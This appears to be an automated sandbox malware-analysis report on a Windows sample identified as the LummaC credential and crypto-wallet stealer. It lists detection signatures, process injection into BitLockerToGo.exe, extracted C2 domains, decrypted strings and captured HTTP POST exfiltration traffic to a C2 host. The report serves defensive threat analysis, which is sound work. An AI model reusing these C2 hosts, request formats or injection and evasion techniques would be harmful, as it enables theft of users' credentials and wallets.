Edit tour

Windows Analysis Report
tatuJHXSR4.exe

Overview

General Information

Sample name:	tatuJHXSR4.exe renamed because original name is a hash value
Original sample name:	2a5f40e3ee04057e88c8b794ff258fd4.exe
Analysis ID:	1416003
MD5:	2a5f40e3ee04057e88c8b794ff258fd4
SHA1:	590e7f9870f13c8a2c060a6f2cb1bdf97901605c
SHA256:	30e8530fe027064f03f21e5dfc5d560338f8781c8133885b223ff3456ff16b65
Tags:	64exetrojan
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Yara detected LummaC Stealer

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Tries to load missing DLLs

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

tatuJHXSR4.exe (PID: 7304 cmdline: "C:\Users\user\Desktop\tatuJHXSR4.exe" MD5: 2A5F40E3EE04057E88C8B794FF258FD4)

BitLockerToGo.exe (PID: 7620 cmdline: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["pillowbrocccolipe.shop", "communicationgenerwo.shop", "diskretainvigorousiw.shop", "affordcharmcropwo.shop", "dismissalcylinderhostw.shop", "enthusiasimtitleow.shop", "worryfillvolcawoi.shop", "cleartotalfisherwo.shop", "communicationgenerwo.shop"], "Build id": "uYY3NI--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: BitLockerToGo.exe PID: 7620	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7620	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 7620	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 3.3.tatuJHXSR4.exe.22464aa0000.3.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["pillowbrocccolipe.shop", "communicationgenerwo.shop", "diskretainvigorousiw.shop", "affordcharmcropwo.shop", "dismissalcylinderhostw.shop", "enthusiasimtitleow.shop", "worryfillvolcawoi.shop", "cleartotalfisherwo.shop", "communicationgenerwo.shop"], "Build id": "uYY3NI--"}

Sample uses string decryption to hide its real strings

Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: pillowbrocccolipe.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: communicationgenerwo.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: diskretainvigorousiw.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: affordcharmcropwo.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: dismissalcylinderhostw.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: enthusiasimtitleow.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: worryfillvolcawoi.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cleartotalfisherwo.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: communicationgenerwo.shop
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000003.00000002.2374945365.000000C0002D6000.00000004.00001000.00020000.00000000.sdmp	String decryptor: uYY3NI--

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 6_2_007657B1 CryptUnprotectData,

6_2_007657B1

Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49735 version: TLS 1.2

Source: tatuJHXSR4.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: BitLockerToGo.pdb source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000262000.00000004.00001000.00020000.00000000.sdmp, tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000180000.00000004.00001000.00020000.00000000.sdmp, tatuJHXSR4.exe, 00000003.00000003.2359889162.0000022464A50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: BitLockerToGo.pdbGCTL source: tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000262000.00000004.00001000.00020000.00000000.sdmp, tatuJHXSR4.exe, 00000003.00000002.2374945365.000000C000180000.00000004.00001000.00020000.00000000.sdmp, tatuJHXSR4.exe, 00000003.00000003.2359889162.0000022464A50000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Directory queried: number of queries: 1001

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+10h]	6_2_00759750
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+08h]	6_2_00759750
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	6_2_007667E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then lea esi, dword ptr [edx+ecx]	6_2_0076DC00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+04h]	6_2_0076DC00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push edi	6_2_00763CF3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+40h]	6_2_00765DA9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_00765DA9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi+10h]	6_2_00764075
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000ACh]	6_2_0076A181
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esi]	6_2_0078426F
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [esp+00000080h]	6_2_0076A2B9
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [esp+10h]	6_2_00759290
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	6_2_0076A31D
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	6_2_0077E570
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edx-08h], 542C2D52h	6_2_00787500
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [eax-08h], A352EDFDh	6_2_00769732
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	6_2_00766729
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	6_2_007718A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esi+08h]	6_2_0076A9F4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esi+10h]	6_2_0076F990
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	6_2_0076CBF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	6_2_00784BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], al	6_2_00771BC5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [0078D3C8h]	6_2_00764C63
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	6_2_00784C45
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, eax	6_2_00752CF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [edi+ebx], 0000h	6_2_00786CA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	6_2_0075CD10
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	6_2_00764EA3
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esp+20h]	6_2_00758FE0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, dword ptr [esi+70h]	6_2_00772FA5

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: pillowbrocccolipe.shop
Source: Malware configuration extractor	URLs: communicationgenerwo.shop
Source: Malware configuration extractor	URLs: diskretainvigorousiw.shop
Source: Malware configuration extractor	URLs: affordcharmcropwo.shop
Source: Malware configuration extractor	URLs: dismissalcylinderhostw.shop
Source: Malware configuration extractor	URLs: enthusiasimtitleow.shop
Source: Malware configuration extractor	URLs: worryfillvolcawoi.shop
Source: Malware configuration extractor	URLs: cleartotalfisherwo.shop
Source: Malware configuration extractor	URLs: communicationgenerwo.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: communicationgenerwo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: communicationgenerwo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12854Host: communicationgenerwo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15100Host: communicationgenerwo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19958Host: communicationgenerwo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5437Host: communicationgenerwo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1409Host: communicationgenerwo.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 578178Host: communicationgenerwo.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: communicationgenerwo.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: communicationgenerwo.shop

Source: tatuJHXSR4.exe	String found in binary or memory: http://.css
Source: tatuJHXSR4.exe	String found in binary or memory: http://.jpg
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: tatuJHXSR4.exe	String found in binary or memory: http://html4/loose.dtd
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: BitLockerToGo.exe, 00000006.00000003.2410160879.0000000004F64000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: BitLockerToGo.exe, 00000006.00000003.2409563726.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2399660238.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2438068183.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2390908646.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2421582316.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000002.2470262313.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469516555.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2399536354.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469492736.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2445231733.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2437752954.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000002.2470058526.0000000000C73000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2391702013.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/
Source: BitLockerToGo.exe, 00000006.00000003.2390908646.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2391702013.0000000000CAC000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/Ri
Source: BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/Xi
Source: BitLockerToGo.exe, 00000006.00000003.2421582316.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/api
Source: BitLockerToGo.exe, 00000006.00000003.2438068183.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2445231733.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2437752954.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/api/
Source: BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/api9J
Source: BitLockerToGo.exe, 00000006.00000002.2470262313.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469516555.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469492736.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/apidZ
Source: BitLockerToGo.exe, 00000006.00000003.2382775639.0000000000CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/apilJ
Source: BitLockerToGo.exe, 00000006.00000003.2399536354.0000000000C7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/apix
Source: BitLockerToGo.exe, 00000006.00000002.2470262313.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469516555.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000006.00000003.2469492736.0000000000CF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/e
Source: BitLockerToGo.exe, 00000006.00000003.2445231733.0000000000CF4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://communicationgenerwo.shop/y
Source: BitLockerToGo.exe, 00000006.00000003.2391425927.0000000004F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: BitLockerToGo.exe, 00000006.00000003.2391425927.0000000004F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: BitLockerToGo.exe, 00000006.00000003.2391425927.0000000004F89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: tatuJHXSR4.exe	String found in binary or memory: https://login.chinacloudapi.cn/no_standard_descript
Source: tatuJHXSR4.exe	String found in binary or memory: https://login.microsoftonline.com/%s
Source: tatuJHXSR4.exe	String found in binary or memory: https://login.microsoftonline.us/application/x-www-for
Source: tatuJHXSR4.exe	String found in binary or memory: https://protobuf.dev/reference/go/faq#namespace-conflictcorruption
Source: BitLockerToGo.exe, 00000006.00000003.2411688057.000000000506E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: BitLockerToGo.exe, 00000006.00000003.2411688057.000000000506E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: BitLockerToGo.exe, 00000006.00000003.2412615087.0000000004F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: BitLockerToGo.exe, 00000006.00000003.2412615087.0000000004F61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: BitLockerToGo.exe, 00000006.00000003.2411688057.000000000506E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: BitLockerToGo.exe, 00000006.00000003.2411688057.000000000506E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: BitLockerToGo.exe, 00000006.00000003.2411688057.000000000506E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.166.251:443 -> 192.168.2.6:49735 version: TLS 1.2

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 6_2_0077A1C0 OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

6_2_0077A1C0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 6_2_0077A1C0 OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

6_2_0077A1C0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 6_2_0077A3A0 GetDC,GetSystemMetrics,KiUserCallbackDispatcher,GetSystemMetrics,GetCurrentObject,GetObjectW,DeleteObject,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SelectObject,DeleteDC,ReleaseDC,DeleteObject,

6_2_0077A3A0

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00764160 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00764160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00765280 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00765280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 6_2_00783316 NtAllocateVirtualMemory,NtFreeVirtualMemory,	6_2_00783316
